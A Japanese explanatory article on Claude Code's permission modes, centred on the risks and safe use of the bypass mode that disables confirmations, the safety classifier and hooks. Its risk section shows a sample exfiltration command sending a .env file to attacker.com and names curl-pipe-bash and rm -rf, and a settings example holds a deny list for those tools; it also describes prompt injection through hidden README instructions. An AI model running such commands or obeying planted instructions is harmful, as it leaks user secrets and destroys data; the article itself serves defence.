Claude Codeには、すべての操作を確認なしで自動実行できる「権限バイパスモード」(bypassPermissions)が存在します。CI/CDパイプラインやDockerコンテナ内での自動化には非常に便利ですが、使い方を誤ると深刻なセキュリティリスクにつながります。

この記事では、Claude Codeの5つの権限モードの違いを整理した上で、バイパスモードの便利さ・リスク・安全な活用方法を具体例とともに解説します。

1. 権限バイパスモードとは

権限バイパスモードは、Claude Codeの操作時に表示されるすべての確認プロンプトをスキップするモードです。通常、Claude Codeはファイルの編集やシェルコマンドの実行前にユーザーの承認を求めますが、このモードではそれらが一切表示されません。

起動方法は2つあります。

# フラグで起動
claude --dangerously-skip-permissions

# または権限モード指定
claude --permission-mode bypass

フラグ名に「dangerously(危険)」が含まれていることからもわかるように、Anthropicはこのモードの使用に注意を促しています。このフラグが存在する理由は、完全に隔離された環境(コンテナやVM)での自動化を可能にするためです。

なお、バイパスモードであっても.git/.vscode/.idea/.claude/といった設定ディレクトリへの書き込みはブロックされます。これは最低限の安全策です。

2. Claude Codeの5つの権限モード

Claude Codeには5段階の権限モードがあり、それぞれ「確認なしでできること」の範囲が異なります。

Claude Codeの5つの権限モード比較表:default、acceptEdits、plan、auto、bypassPermissions

各モードの詳細

default(デフォルト):ファイルの読み取りのみ確認なし。編集・コマンド実行はすべてユーザーの承認が必要です。初心者や機密性の高い環境に最適です。

acceptEdits(編集自動承認):ファイルの読み取りと編集は確認なし。シェルコマンドの実行には承認が必要です。日常のコーディング作業におすすめのバランス型モードです。

plan(計画モード):読み取り専用で、ファイルの書き込みやコマンド実行は一切できません。コードの調査や設計方針の検討に使います。

auto(自動承認):ほぼすべての操作が確認なしで実行されます。ただし、バックグラウンドで安全性分類器(safety classifier)が動作しており、危険と判断された操作はブロックされます。長時間の自動タスクに適しています。

bypassPermissions(権限バイパス):安全性分類器を含むすべてのチェックが無効化されます。コンテナやVM内での使用を想定しており、ローカル環境での使用はAnthropicも推奨していません。

権限モードの切り替えは、CLIでの起動時フラグ以外に、Shift+Tabキーでインタラクティブに変更することもできます。VS Code・JetBrains・デスクトップアプリでも対応しています。

3. バイパスモードが便利な場面

バイパスモードは「危険」なだけのモードではありません。適切な環境で使えば開発効率を大幅に向上させます。

CI/CDパイプラインでの活用

GitHub ActionsやGitLab CIなどのCI/CDパイプラインでは、対話的な確認プロンプトに応答するユーザーがいません。バイパスモードを使うことで、自動テスト・コードレビュー・ドキュメント生成などを完全に自動化できます。

# GitHub Actionsでの使用例
claude --dangerously-skip-permissions \
  -p "テストを実行して結果をレポートして"

Dockerコンテナ内での利用

使い捨てのコンテナ内で実行する場合、コンテナが壊れても問題ありません。バイパスモードの「危険性」は、コンテナの隔離性によって無効化されます。

大量ファイルの一括処理

100以上のファイルを一括で修正するような作業では、毎回の確認プロンプトが大きなオーバーヘッドになります。隔離された環境であれば、バイパスモードで効率的に処理できます。

自動化スクリプトとの連携

定期的に実行するバッチ処理やコード生成パイプラインでは、人間の介入なしに動作する必要があります。バイパスモードはこうしたヘッドレス運用に不可欠です。

4. 5つのセキュリティリスク

バイパスモードを隔離されていない環境で使用すると、以下の深刻なリスクが生じます。

バイパスモードの5つのセキュリティリスク:プロンプトインジェクション、任意コマンド実行、データ漏洩、操作エスカレーション、不可逆な破壊操作

リスク1:プロンプトインジェクション

最も危険なリスクです。悪意のあるコードやファイル(例:READMEやpackage.jsonに仕込まれた命令)に含まれる隠し指示をそのまま実行してしまう可能性があります。

通常モードでは、不審なコマンドの実行前に確認プロンプトが表示されるため、ユーザーが気づいてブロックできます。バイパスモードではこの防御壁がありません。

具体例

外部から取得したリポジトリのREADMEに「」のような隠しコメントが含まれている場合、バイパスモードでは確認なしで実行される危険があります。

リスク2:任意コマンド実行

curl | bashrm -rf、パッケージのインストールなど、あらゆるシェルコマンドが即座に実行されます。autoモードでは安全性分類器が危険なコマンドをブロックしますが、バイパスモードではこの分類器も無効化されます。

リスク3:データ漏洩

.envファイルや認証トークン、APIキーなどの機密情報を外部エンドポイントに送信するコマンドが、確認なしで実行される可能性があります。例えば、curl -d @.env https://attacker.comのようなコマンドです。

リスク4:操作のエスカレーション

安全なファイル編集から始まった作業が、いつの間にか本番環境へのデプロイやデータベースのマイグレーションに発展する可能性があります。通常モードでは段階的に確認が入りますが、バイパスモードではこの段階的な安全確認がありません。

リスク5:不可逆な破壊操作

git push --force、ファイルの完全削除、データベースのDROP TABLEなど、取り消しが不可能な操作が確認なしで実行されるリスクがあります。

5. 安全に使うための対策

バイパスモードを使う必要がある場合は、以下の対策を講じてください。

対策1:コンテナ・VM内に限定する

最も重要な対策です。バイパスモードは必ず隔離された環境で使用してください。Dockerコンテナ、VM、GitHub ActionsのランナーなどのCI環境が該当します。ホストOSで直接実行することは避けてください。

推奨構成

Docker内でClaude Codeを実行し、マウントするボリュームを作業ディレクトリのみに限定します。ホストの.envやSSH鍵はマウントしないでください。

対策2:autoモードを先に検討する

多くの場合、autoモードで十分です。autoモードはバックグラウンドで安全性分類器が動作するため、明らかに危険なコマンドはブロックされます。「確認プロンプトが煩わしい」という理由だけでバイパスモードを選ぶのは避けてください。

対策3:allowlistで権限を細かく制御する

Claude Codeの権限ルールシステムを使えば、特定のコマンドだけを自動承認できます。バイパスモードの代わりに、必要なコマンドをallowlistに追加する方法が安全です。

# .claude/settings.json での権限設定例
{
  "permissions": {
    "allow": [
      "Bash(npm run build)",
      "Bash(npm test)",
      "Bash(git status)"
    ],
    "deny": [
      "Bash(curl *)",
      "Bash(rm -rf *)"
    ]
  }
}

権限ルールはdeny → ask → allowの順に評価されます。denyが最優先されるため、危険なコマンドを明示的に拒否しておけば、allowルールで上書きされることはありません。

対策4:Hooksで監視する

Claude CodeのHooks機能(PreToolUse / PostToolUseフック)を使えば、特定のツール使用前後にカスタムスクリプトを実行できます。ただし重要な注意点があります:バイパスモードではHooksも無効化されます

そのため、Hooksによる監視はautoモードとの組み合わせで使うのが効果的です。

# PreToolUseフックの例(.claude/settings.json)
{
  "hooks": {
    "PreToolUse": [{
      "matcher": "Bash",
      "hooks": [{
        "type": "command",
        "command": "echo $CLAUDE_TOOL_INPUT | check-safety.sh"
      }]
    }]
  }
}

対策5:ネットワークを制限する

コンテナ内で使用する場合も、外向きのネットワークアクセスを制限することで、データ漏洩リスクを大幅に減らせます。必要なエンドポイント(Anthropic APIなど)のみ許可するのが理想的です。

対策6:作業後のレビューを徹底する

バイパスモードで作業した後は、git diffで変更内容を必ず確認してください。意図しない変更が含まれていないか、機密情報が漏洩していないかをチェックする習慣をつけましょう。

6. 権限モードの使い分けガイド

どのモードを使うべきか迷ったときは、以下のフローチャートを参考にしてください。

権限モード選択フローチャート:作業内容に応じた最適なモードの選び方

場面別のおすすめ設定

日常のコーディング:acceptEditsモードがおすすめです。ファイル編集はスムーズに進みつつ、コマンド実行時には確認が入ります。

コード調査・設計:planモードを使えば、誤って変更を加える心配がありません。読み取り専用なので安心してコードベースを探索できます。

長時間の自動タスク:autoモード + サンドボックス環境がベストです。安全性分類器が動作するため、一定の安全性を保ちながら自動化できます。

CI/CDパイプライン:バイパスモード + コンテナ隔離の組み合わせが適切です。ただし、ネットワーク制限とボリュームマウントの最小化を忘れずに。

Claude Codeの他の機能について詳しく知りたい方は、Claudeの3つの機能の違いも参考になります。料金プランについてはClaude vs ChatGPT料金比較をご覧ください。

7. まとめ

Claude Codeの権限バイパスモードは、適切な環境で使えば強力なツールですが、誤った使い方をすれば深刻なセキュリティインシデントにつながります。

この記事のポイント

  • Claude Codeには5段階の権限モードがあり、バイパスモードは最もリスクが高い
  • バイパスモードはコンテナ・VM・CI/CD環境専用と考えるべき
  • プロンプトインジェクション・データ漏洩・不可逆操作が主なリスク
  • 多くの場合、autoモード+権限ルールの組み合わせで十分対応可能
  • 使用する場合は、ネットワーク制限・ボリューム制限・事後レビューを徹底する

AIツールの活用でセキュリティが気になる方は、AI偏差値診断で自分のAIリテラシーを確認してみてください。Claude Codeの入門講座は入門講座で体系的に学べます。

FAQ

バイパスモードは普段のコーディングで使っても大丈夫ですか?

推奨しません。普段の作業にはacceptEditsモード(編集自動承認)やautoモードを使ってください。バイパスモードはDockerコンテナやCI/CDパイプラインなど、完全に隔離された環境での使用を想定しています。ローカルの開発環境でバイパスモードを使うと、プロンプトインジェクションや意図しないコマンド実行のリスクがあります。

autoモードとバイパスモードの違いは何ですか?

autoモードはバックグラウンドで安全性分類器が動作しており、危険と判断された操作はブロックされます。一方、バイパスモードはこの分類器も含めてすべてのチェックが無効化されます。また、autoモードではHooks(PreToolUse / PostToolUse)が動作しますが、バイパスモードではHooksも無効です。

バイパスモードでもブロックされる操作はありますか?

はい。.git/.vscode/.idea/.claude/ディレクトリへの書き込みは、バイパスモードでもブロックされます。これらは開発環境の設定に関わる重要なディレクトリであるため、最低限の保護として残されています。ただし、それ以外のファイル操作やシェルコマンドにはほぼ制限がありません。

権限ルール(allow/deny)とバイパスモードは併用できますか?

バイパスモードでは権限ルールの評価自体がスキップされるため、併用しても効果がありません。権限ルールを活用したい場合は、autoモードまたはacceptEditsモードで使用してください。権限ルールはdeny → ask → allowの順で評価され、denyが最優先されるため、特定のコマンドを確実にブロックできます。